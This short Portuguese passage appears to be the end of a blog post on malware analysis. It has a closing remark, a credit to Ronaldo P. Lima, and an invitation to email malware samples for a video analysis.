mais coisas interessantes sobre o funcionamento desse esquema malicioso.
Creditos: Ronaldo P. Lima ( http://www.crimesciberneticos.com/ )
Analise de Malware 2
Caso estejam afim de uma video analise, enviem seus artefatos para o email: desvendandomalware@gmail.com
Assinar:
Postagens (Atom)